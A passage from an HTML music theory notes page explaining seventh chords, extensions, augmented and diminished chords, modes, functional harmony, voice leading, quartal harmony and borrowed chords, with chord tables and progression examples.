                    <td style="text-align: left;">Diminished triad +
                    minor 3rd / m + m + m</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Minor-major</td>
                    <td style="text-align: left;">min-maj, min(maj7),
                    -Δ</td>
                    <td style="text-align: left;">Minor triad + major
                    3rd / m + M + M</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>These chords are widely used in Jazz music, but
                    can and do find its way in other styles.
                    Unfortunately the notation is not standardized, and
                    different charts could present chords in different
                    ways. I’ve included some of these in the previous
                    table, for example a “G sharp minor seventh” could
                    be written as <code>G#m7</code> or
                    <code>G#-7</code>.</p>
                    <p><img
                    src="/notes/music-theory/7th-chords.svg" /></p>
                    <p>If reading a chord sheet from a “Real Book” or
                    similar, when the seventh is not specified it could
                    mean that we must use a triad or that we can use a
                    seventh chord, depending of the context and if the
                    7th would clash with the melody of the song.</p>
                    <h2 id="upper-extensions">Upper extensions</h2>
                    <p>As we have seen so far, the process of building
                    complex and colorful chords is as simple as just
                    keep stacking thirds together. Upper extensions are
                    obtained in the same way, but because intervals like
                    the tritone can sound dissonant, there are some
                    extensions that tend to work better for a given
                    context:</p>
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord family</th>
                    <th>Extensions</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Major</td>
                    <td>9, #11, 13</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Minor</td>
                    <td>9, 11, 13</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dominant</td>
                    <td>9, 11, 13</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Half diminished</td>
                    <td>9, 11, b13</td>
                    </tr>
                    </tbody>
                    </table>
                    <p>It’s not necessary to include all upper
                    extensions when we are spicing up a chord. For
                    example, for the <code>Cmaj13</code> chord we can
                    choose to play <code>Cmin7</code> and add the 13th
                    of <code>C</code> and we can also include the 9th
                    but not the 11th, or any combination that we find
                    pleasing.</p>
                    <p><img src="/notes/music-theory/Cmaj13.svg" /></p>
                    <p>Upper extensions should be added tastefully, as
                    they can create a train-wreck with other instruments
                    or even with the melody of a song, but they can also
                    turn a boring chord progression into something
                    unique.</p>
                    <p>Note that sometimes we see the notation
                    <code>add9</code> or <code>add11</code>, which
                    refers to a minor/major chord plus the extension but
                    without the 7th.</p>
                    <h2 id="suspended-and-6th-chords">Suspended and 6th
                    chords</h2>
                    <p>Suspended chords are chords that are missing the
                    third, giving them an ambiguous quality (not major,
                    not minor). In their place the IV (sus4 or sus) or
                    the II (sus2) are used instead. They can be formed
                    from regular triads, chords with 7ths or extensions.
                    For example a <code>C9sus4</code> (C dominant
                    suspended with a 9th extension) can be formed with
                    the <code>C A# D F</code> notes. Depending on the
                    voicing, the 5th can also be omitted to lessen the
                    dissonance with suspended chords. Suspended
                    dominants can be used as an extra chord before
                    resolving to a regular or altered dominant:
                    <code>A#7 -&gt; A#9sus - A#7b9</code>. Suspended
                    chords don’t necessarily need to be resolved, giving
                    a section an air of ambiguity.</p>
                    <p>On the other hand, 6th chords are either major or
                    minor chords in which the 7th is changed to a 6th.
                    Sometimes the 5th is elided to avoid the whole tone
                    dissonance. It is a fairly neutral sounding chord
                    and it is often played with an added 9th for some
                    extra flavour. A good rule of thumb about when to
                    use a major/minor 6th chord instead of a major/minor
                    7th is if the melody is playing the root of the
                    chord. This melody note would clash with the 7th, so
                    this substitution makes it sound smoother.</p>
                    <h2 id="augmented-chords">Augmented chords</h2>
                    <p>Augmented chords have a very strong sense of
                    tension and really want to resolve. We can use Vaug
                    in place of V7 chords adding a non-diatonic note. We
                    can add the b7th or 7th to our V7+ preserving the
                    same function (V+7 or V+maj7/Vmaj7#5).</p>
                    <p>These chords are also very useful for voice
                    leading purposes. For exaple A (A C# E) A+ (A C# E#)
                    D (A D F#). Notice the voice leading on the upper
                    note. Example progressions: <code>I-Iaug-VIm</code>,
                    <code>I-Iaug-IV</code>, <code>I-Iaug-IIm</code>.</p>
                    <p>If we treat our augmented chord as a Iaug we
                    could think on this tonality as being in the key of
                    Lydian augmented (one of the modes of the melodic
                    scale).</p>
                    <p>Their symmetric nature makes it so there are only
                    four augmented chords, each of them having three
                    potential roots:</p>
                    <ul>
                    <li>C+/E+/G#+</li>
                    <li>F+/A+/C#+</li>
                    <li>A#+/D+/F#+</li>
                    <li>D#+/G+/B+</li>
                    </ul>
                    <p>We can use this property to modulate to a
                    different key center around any of them. For example
                    Caug/Eaug/G#aug are enharmonic, so we can go from C
                    major to E major and/or G# major (or their relative
                    minors) for example:
                    <code>C - Caug - Emaj (E major key) - Eaug - Gmaj (G major key)</code>.
                    In other words, from <code>Caug</code> we can
                    smoothly transition to any of these chords:
                    <code>C</code>, <code>C#</code>, <code>C#m</code>,
                    <code>E</code>, <code>F</code>, <code>Fm</code>,
                    <code>Ab</code>, <code>A</code>,
                    <code>Am</code>.</p>
                    <p>With proper voice leading, we can use augmented
                    chords to connect different chords together from
                    different keys:</p>
                    <pre><code>     B               F#    G#               B     C#               E      D               A
      \             /        \             /        \             /        \             /
       \           /          \           /          \           /          \           /
A# ---- A#+/D+/F#+ ---- G ----  G+/B+/D#+ ---- C ----  C+/E+/G#+  ---- F ---- F+/A+/C#+ ---- F#
       /           \          /           \          /           \          /           \
      /             \        /             \        /             \        /             \
     D#              D      E               D#     A               G#    A#               C#</code></pre>
                    <p>Example of augmented chord progression:</p>
                    <ul>
                    <li><code>C-Caug-C#-G7-C</code></li>
                    <li><code>C-C+-F-F+-A#</code></li>
                    </ul>
                    <h2 id="diminished-chords">Diminished chords</h2>
                    <p>Diminished chords, specially in their 7th form
                    are very interesting. They have an ambiguous sound,
                    as any of the notes of the chord could be considered
                    the root. For example <code>Cdim</code> has
                    <code>C D# F# A</code> and could also be called
                    <code>D#dim</code>, <code>F#dim</code> or
                    <code>Adim</code>. Despite having an ambiguous sound
                    they want to strongly resolve to any minor or major
                    chord that is half step above, half step below or at
                    any of their roots. From the previous example,
                    <code>Cdim</code> can resolve to <code>C#</code>,
                    <code>E</code>, <code>G</code> or <code>A#</code>
                    and these can be <code>maj7</code>,
                    <code>min7</code> or even dominant <code>7</code>.
                    It would also be fine to resolve to a <code>C</code>
                    or <code>C#</code> (A root or half step above).
                    There are only 3 groups of diminished chords:
                    <code>C-A-F#-D#</code>, <code>G-E-C#-A#</code>,
                    <code>D-B-G#-F</code>.</p>
                    <h2 id="the-major-scale-and-its-modes">The major
                    scale and its modes</h2>
                    <p>The major scale is composed of 7 notes at
                    different intervals. As mentioned before the
                    chromatic scale is separated by 12 notes, each
                    separated from the previous one by a
                    <strong>half-step</strong> (h/minor 2nd/b2). A
                    <strong>whole-step</strong> (W/major 2nd/2) is
                    composed of two half-steps. When we refer to scales,
                    we typically notate the scale formula as a number of
                    whole and half steps. The formula for the major
                    scale is: <code>W W h W W W h</code>. In a piano,
                    the <code>C</code> major scale correspond to the
                    white notes. If using the notation previously
                    introduced for intervals, from any root note, a
                    major scale contains the following intervals:</p>
                    <pre><code>I - II - III - IV - V - VI - VII</code></pre>
                    <p>People tend to be confused when talking about
                    scale “modes”, but it is actually very simple. A
                    scale mode contain the same notes as the equivalent
                    major scale, but it starts at a different
                    location.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode name</th>
                    <th>Root interval</th>
                    <th style="text-align: left;">Tonality</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Ionian</td>
                    <td>I</td>
                    <td style="text-align: left;">Major</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dorian</td>
                    <td>II</td>
                    <td style="text-align: left;">Minor</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Phrygian</td>
                    <td>III</td>
                    <td style="text-align: left;">Minor</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian</td>
                    <td>IV</td>
                    <td style="text-align: left;">Major</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Mixolydian</td>
                    <td>V</td>
                    <td style="text-align: left;">Major</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Aeonian</td>
                    <td>VI</td>
                    <td style="text-align: left;">Minor</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Locrian</td>
                    <td>VII</td>
                    <td style="text-align: left;">Half-diminished</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>For example the <code>C major</code> scale
                    contain the notes <code>C D E F G A B</code>, the
                    <code>D dorian</code> instead uses
                    <code>D E F G A B C</code> and so on. Modes are
                    often more emphasized when playing melodic lines
                    over a static chord, and by emphasizing the chord
                    tones of the desired modal flavor (more on this on
                    the harmony section). While a song in a given key
                    can be analyzed by thinking of different modes
                    playing at different locations, it normally makes
                    more sense to think of the major equivalent
                    instead.</p>
                    <h2 id="harmony">Harmony</h2>
                    <p>Harmony is one of the basic blocks of music,
                    alongside melody and rhythm. When we talk about
                    harmony, we normally refer to multiple notes that
                    play simultaneously, but this is not always true.
                    For example, an “arpeggio” (playing the notes of a
                    chord in succession or following different patterns)
                    can give us the perception of a chord or a melody
                    may suggest being on a given key. Harmony is about
                    managing “tension” or “dissonance” and the
                    corresponding release. Some intervals are more
                    dissonant than others, after all, but in my eyes
                    this is a learned and/or cultural phenomenon. For
                    example, if you are not used to listen to Jazz music
                    with tons of dissonance, it may feel unpleasant. As
                    a rule of thumb however, we tend to avoid intervals
                    or chords with lots of dissonance (such as the
                    tritone) in general music.</p>
                    <h3 id="major-harmony">Major harmony</h3>
                    <p>We have already covered the major scale and
                    mentioned that different modes have different
                    “tonalities”. The chords of the major scale (also
                    called diatonic) follow the scale notes and avoid
                    too dissonant intervals.</p>
                    <p>We can classify chords as weak or strong. Weak
                    chords (chords with more tension) want to resolve to
                    more strong chords, which are more stable. In order
                    of increasing tension we have three functional
                    families:</p>
                    <ul>
                    <li>Tonic chords (T) are stable chords.</li>
                    <li>Dominant chords (D) are weak chords and want to
                    resolve to the tonic.</li>
                    <li>Subdominant chords (SD) are weak chords and want
                    to resolve to either the dominant or tonic
                    chords.</li>
                    </ul>
                    <p>The following table shows the diatonic 7th chords
                    of a major scale, their functional family and
                    possible extensions we can use to avoid excessive
                    dissonance.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th>Degree</th>
                    <th style="text-align: left;">Chord</th>
                    <th>Possible extensions</th>
                    <th style="text-align: left;">Function</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td>I</td>
                    <td style="text-align: left;">maj7</td>
                    <td>9th, 13th</td>
                    <td style="text-align: left;">Tonic</td>
                    </tr>
                    <tr>
                    <td>II</td>
                    <td style="text-align: left;">min7</td>
                    <td>9th, 11th</td>
                    <td style="text-align: left;">Subdominant</td>
                    </tr>
                    <tr>
                    <td>III</td>
                    <td style="text-align: left;">min7</td>
                    <td>9th</td>
                    <td style="text-align: left;">Tonic</td>
                    </tr>
                    <tr>
                    <td>IV</td>
                    <td style="text-align: left;">maj7</td>
                    <td>9th, 11th, 13th</td>
                    <td style="text-align: left;">Subdominant</td>
                    </tr>
                    <tr>
                    <td>V</td>
                    <td style="text-align: left;">7</td>
                    <td>9th, 13th</td>
                    <td style="text-align: left;">Dominant</td>
                    </tr>
                    <tr>
                    <td>VI</td>
                    <td style="text-align: left;">min7</td>
                    <td>9th, 11th</td>
                    <td style="text-align: left;">Tonic</td>
                    </tr>
                    <tr>
                    <td>VII</td>
                    <td style="text-align: left;">m7b5</td>
                    <td>9th, 13th</td>
                    <td
                    style="text-align: left;">Dominant/Subdominant</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>For example in the C major scale a II-V-I
                    progression can be <code>Dm7 G7 Cmaj7</code> and
                    could have any or all the extensions corresponding
                    to them.</p>
                    <h3
                    id="functional-harmony-and-voice-leading">Functional
                    harmony and voice leading</h3>
                    <p>To create interesting chord progressions, we can
                    use the technique of functional harmony in which we
                    alternate between strong and weak chords. To end a
                    song or segment we can either end it on a tonic note
                    or follow the classic <code>T SD D T</code> pattern.
                    Normally the bass will play the root note of the
                    chord, allowing the harmonic part to play the chords
                    at different inversions. However, just playing the
                    chords of a given progression can still sound boring
                    or unpleasant, which is why we typically want to use
                    voice leading.</p>
                    <p>Voice leading can help harmonies to sound more
                    smooth or interesting. This concept focuses on
                    minimizing the amount of movement leading from one
                    chord to another. We achieve this by making use of
                    different chord inversions, but we may want to avoid
                    tritonal movements within the same voice. Typically
                    you want the high and low notes to move in different
                    directions or if this is not possible, to keep one
                    of them moving while the other is stable.</p>
                    <p>When dealing with big chords, we may want to
                    reduce the number of notes being played, keeping the
                    same number of voices for voice leading purposes.
                    Normally this is done by using 3 or 4 voices. For
                    example, if all our chords are 7th chords, we can
                    either remove the root note (since it’s being played
                    by the bass) and rearrange the remaining three
                    voices or use all four of the notes. If we have non
                    7th chords mixed in, however, the first approach is
                    preferable.</p>
                    <p>When we have extensions, we can make use of
                    substitutions to keep the number of voices the same,
                    replacing the 1st or 5th of a chord with one of
                    these extensions. The root note can be provided by
                    the bass and the 5th doesn’t really change the
                    character of a chord unless is altered. If we remove
                    the root and 3rd, we obtain a “hybrid chord”, which
                    can create some pleasant instability when used
                    tastefully.</p>
                    <h3 id="part-writing">Part writing</h3>
                    <p>Once we have a chord progression with voice
                    leading, we can add different embellishments to each
                    voice lines. To do so, first we identify what kind
                    of movement the voice performs:</p>
                    <ul>
                    <li>Common tone: No movement, the note stays the
                    same.
                    <ul>
                    <li>Common embellishments:
                    <ul>
                    <li>Neighbour-tones: Leave the voice note by a whole
                    step and returns back.</li>
                    <li>Double neighbour-tones: Same as before but moves
                    in both directions before returning.</li>
                    </ul></li>
                    </ul></li>
                    <li>Stepwise movement: Moving by a bII or II
                    interval.
                    <ul>
                    <li>Common embellishments:
                    <ul>
                    <li>Escape tones: Move in opposite direction of step
                    and resolve by leap.</li>
                    <li>Suspensions/retardations: Held the note from the
                    previous chord and resolve down/up
                    respectively.</li>
                    <li>Anticipations: Play the note from the next chord
                    early.</li>
                    <li>Chromatic passing tones: We can bridge the gap
                    between the root and the II adding a bII in
                    between.</li>
                    </ul></li>
                    </ul></li>
                    <li>Leapwise movement: Moving by a bIII interval or
                    larger.
                    <ul>
                    <li>Common embellishments:
                    <ul>
                    <li>Appoggiaturas: Leaps to the note either a whole
                    step up or down the target note and then resolves to
                    the target. These can happen anticipatorily (on the
                    chord performing the leap) or on the leaped
                    chord.</li>
                    </ul></li>
                    </ul></li>
                    </ul>
                    <p>When adding embellishments we want to pay
                    attention to the level of dissonance that these
                    intervals create with the rest of the voices. An
                    embellishments that creates a perfect consonance
                    with the rest of the voices will be more pleasant
                    than if it was a harsh one.</p>
                    <h3 id="chromatic-mediants">Chromatic mediants</h3>
                    <p>Chromatic mediants, consist on moving chords up
                    or down by thirds. It is highly used in film music
                    as it can create dramatic progressions. We can
                    choose to use minor or major chords and both will
                    have different qualities. For example, if we have a
                    C major chord, we could move down to A (minor 3rd
                    motion) or G# (major 3rd motion). We then repeat the
                    process in the same direction as needed: C major -
                    G# major - F major - D major - etc.</p>
                    <p>Note that at each point we have four options, we
                    are not bound to the same motion distance that we
                    got on the first one or the same chord tonality.
                    Voice leading works the same as with functional
                    harmony, but since the tonality is not as well
                    resolved or depending on the motion the tonal root
                    may not be present in the progression, sometimes
                    having a “drone” note playing in the higher or lower
                    register may help us center the tonality.</p>
                    <h3 id="quartalquintal-harmony">Quartal/quintal
                    harmony</h3>
                    <p>The chords and harmony we have discussed so far
                    is built in the idea of stacking III and bIII
                    intervals to create the different notes (Tertial
                    harmony). We could use the same concept but with 4th
                    or 5th intervals instead. We can stack IV (perfect
                    4th) or bV (augmented 4th) intervals together.</p>
                    <ul>
                    <li>+4Q (1-#4-7): Combining <strong>augmented
                    4th</strong> and <strong>perfect 4th</strong>.</li>
                    <li>Q+4 (1-4-#7): Combining <strong>perfect
                    4th</strong> and <strong>augmented
                    4th</strong>.</li>
                    <li>Q (1-4-7): Combining <strong>two perfect
                    4ths</strong>.</li>
                    </ul>
                    <p>The chords can also be inverted, where 4ths
                    become 5ths, which is why quartal and quintal
                    harmony are equivalent.</p>
                    <p>A regular major or melodic scales could also be
                    harmonized in quartal harmony by making use of chord
                    inversions or quartal voicings. Here is an table of
                    quartal harmony for different major modes:</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode</th>
                    <th style="text-align: left;">I</th>
                    <th style="text-align: left;">II</th>
                    <th style="text-align: left;">III</th>
                    <th style="text-align: left;">IV</th>
                    <th style="text-align: left;">V</th>
                    <th style="text-align: left;">VI</th>
                    <th style="text-align: left;">VII</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Ionian</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dorian</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Phrygian</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Mixolydian</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Aeonian</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Locrian</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q+4</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">+4Q</td>
                    <td style="text-align: left;">Q</td>
                    <td style="text-align: left;">Q</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>An example in C (Note that we can keep stacking
                    4ths as “extensions”):</p>
                    <pre><code>      CHORD   EXTENSIONS
CQ+4: C F B | A E G
DQ:   D G C | F B E
EQ:   E A D | G C F
F+4Q: F B E | A D G
GQ:   G C F | B E A
AQ:   A D G | C F B
BQ:   B E A | D G C</code></pre>
                    <p>We can play quartal chords over regular tertial
                    harmony, but we need to be careful not to play
                    certain “avoid notes” on the top or bottom voice,
                    least we create too much dissonance. These avoid
                    notes are as usual intervals of bII or tritone
                    between the tertial chord and quartal voicing.</p>
                    <p>It is highly used in modal Jazz and classical
                    composers like Debussy. Quartal harmony has a
                    certain ambiguous quality to it, almost atonal which
                    is why we don’t necessarily have to work in a
                    functional harmony context.</p>
                    <h3
                    id="borrowed-chords-and-secondary-dominants">Borrowed
                    chords and secondary dominants</h3>
                    <p>When we use chords that are non-diatonic we call
                    these borrowed chords. These can really spice up our
                    chord progressions. We can borrow chords for the
                    parallel modal scales for a given key. For example
                    if our key is C major, we can use chords from C
                    dorian, C lydian, etc. Looking at a major
                    progression of <code>II - V - I</code> we would
                    typically use <code>D - G - C</code>, but we can
                    change any of the chords, for example
                    <code>D - G - Cmin</code> borrows the <code>I</code>
                    from the <code>C aeonian</code>,
                    <code>C phrygian</code> or <code>C dorian</code>. We
                    could also use <code>D - Gmin7 - C</code> borrowing
                    <code>Gmin7</code> from the
                    <code>C mixolydian</code>. In the following table
                    you can see the equivalent 7th chords for the
                    different modes.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode</th>
                    <th style="text-align: left;">I</th>
                    <th style="text-align: left;">II</th>
                    <th style="text-align: left;">III</th>
                    <th style="text-align: left;">IV</th>
                    <th style="text-align: left;">V</th>
                    <th style="text-align: left;">VI</th>
                    <th style="text-align: left;">VII</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Ionian</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dorian</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Phrygian</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Mixolydian</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Aeonian</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Locrian</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">min7</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>Is best to first establish the key of the song
                    before using borrowed chords, and using only one
                    borrowed chord before returning to the main
                    tonality, otherwise we may risk having an ambiguous
                    tonality or look like we are suddenly changing
                    keys.</p>
                    <p>Note that when using borrowed chords while using
                    functional harmony, the borrow retains the same
                    function as the equivalent major chord. For example
                    in the <code>D - Gmin7 - C</code> example,
                    <code>Gmin7</code> has the dominant (weak)
                    function.</p>
                    <p>Sometimes we can also bridge the gap between
                    chords by using the equivalent dominant for a
                    particular chord, that is, a dominant chord located
                    a perfect fifth (<code>V</code> interval) from it.
                    We call these secondary dominants. For example, a
                    <code>II - V - I</code> in <code>C major</code> is
                    <code>Dm - G7 - C</code> can use a secondary
                    dominant for the <code>II</code>, transforming it
                    into a <code>A7 - Dm - G7 - C</code>. Sometimes this
                    is denoted as <code>V7/II - II - V - I</code>.</p>
                    <h3 id="harmonizing-melodies">Harmonizing
                    melodies</h3>
                    <p>If we start with a melody and want to create a
                    chord progression around it, we first need to decide
                    what kind of chords do we want to use. For example,
                    what key or mode are we in? Do we want simple
                    chords, 7th chords, extensions? Can we mix in
                    tertiary harmony? Are we using borrowed or hybrid
                    chords? We can always change our palette, but it is
                    useful to start with some building blocks.</p>
                    <p>On each bar we want to identify the notes on the
                    strong beats (1 and 3 in 4/4) and notes that play
                    for a longer time, either because they are held or
                    due to repetition. This gives us an idea of the
                    chords we want to target.</p>
                    <p>If using functional harmony, we can restrict our
                    chord choices even more by using the
                    strong-weak-strong-weak or
                    tonic-subdominant-dominant-tonic patterns.</p>
                    <p>After selecting the chords we can perform voice
                    leading and add embellishments as desired.</p>
                    <h3 id="altered-and-melodic-minor-harmony">Altered
                    and melodic minor harmony</h3>
                    <p>The melodic minor scale can be seen as a major
                    (ionian) scale with a bIII. It thus follows the
                    following formula <code>W h W W W W h</code>. In
                    classical music the melodic minor is only played in
                    ascending form, when descending, the aeolian is used
                    instead. It is highly used in Jazz, where it is
                    played both in ascending and descending form. Very
                    often the seventh degree of the melodic minor is
                    played over dominant chords. This is known as the
                    altered scale.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode name</th>
                    <th style="text-align: left;">I</th>
                    <th style="text-align: left;">II</th>
                    <th style="text-align: left;">III</th>
                    <th style="text-align: left;">IV</th>
                    <th style="text-align: left;">V</th>
                    <th style="text-align: left;">VI</th>
                    <th style="text-align: left;">VII</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Melodic minor</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dorian b2</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian augmented</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Lydian dominant</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Mixolidian b6</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Half-diminished</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Altered scale</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">m7b5</td>
                    </tr>
                    </tbody>
                    </table>
                    </div>
                    <p>Sometimes we may find the notation of
                    <code>7alt</code> to refer to a dominant chord that
                    can contain any alteration
                    (<code>bII, bIII, bV, #V</code> or
                    <code>b9, #9, #11, b13</code>). In Jazz is common to
                    substitute regular <code>V7</code> chords with
                    <code>V7alt</code> to access a palette of “outside”
                    songs.</p>
                    <h3 id="the-harmonic-scale-and-the-minor-ii-v-i">The
                    harmonic scale and the minor II-V-I</h3>
                    <p>When trying to center a piece around a minor
                    tonality, it is sometimes desirable to use the
                    harmonic minor scale and modes.</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Mode name</th>
                    <th style="text-align: left;">I</th>
                    <th style="text-align: left;">II</th>
                    <th style="text-align: left;">III</th>
                    <th style="text-align: left;">IV</th>
                    <th style="text-align: left;">V</th>
                    <th style="text-align: left;">VI</th>
                    <th style="text-align: left;">VII</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Harmonic minor</td>
                    <td style="text-align: left;">min(maj7)</td>
                    <td style="text-align: left;">m7b5</td>
                    <td style="text-align: left;">maj7#5</td>
                    <td style="text-align: left;">min7</td>
                    <td style="text-align: left;">7</td>
